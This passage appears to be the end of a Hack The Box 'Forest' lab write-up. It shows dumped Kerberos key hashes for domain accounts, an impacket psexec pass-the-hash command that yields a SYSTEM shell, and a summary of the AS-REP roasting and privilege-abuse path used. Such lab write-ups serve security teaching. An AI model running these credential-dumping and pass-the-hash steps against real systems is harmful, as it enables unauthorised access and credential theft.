htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
aghanim:aes256-cts-hmac-sha1-96:2df741f552723293508d90b62d3d15293b6b34c85bf4e81b27aea24146cd9fcc
aghanim:aes128-cts-hmac-sha1-96:860d836031138dba83312cfe58edd001
aghanim:des-cbc-md5:7c04e64602800dd3
FOREST$:aes256-cts-hmac-sha1-96:70cc698db2a037522995cac30bdf56fcebb8de4d7101619742d489aa9582a7f3
FOREST$:aes128-cts-hmac-sha1-96:4afa099a64558a6441a53f2f130db794
FOREST$:des-cbc-md5:c8132fbf73c71fa8
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...

Pass the Hash technique

To get a shell as Administrator I’ll use pass the hash. 

┌──(root💀kali)-[/opt/impacket/examples]
└─# python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161                               1 ⨯
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file GqwDixse.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service DeCm on 10.10.10.161.....
[*] Starting service DeCm.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>

What I’ve learned

  • Since SMB null session was enabled I got a lot of information from SMB, such as gouprs, password policy and users.
  • Since kerberos pre-authentication was disabled for the user svc-alfresco I was able to send a request to KDC (Kerberose Key Distrubtion Center) that responded with a TGT encrypted with the users password.
  • Since the svc-alfresco was a member of many groups that had powerful privileges, such as Account Operator and Exchange Windows Permissions I was able to create a user, and grant that user rights that made it possbile to dump all the hashes of ther users.
  • And since I now have the hash of the administrator I could use pass the hash technique.

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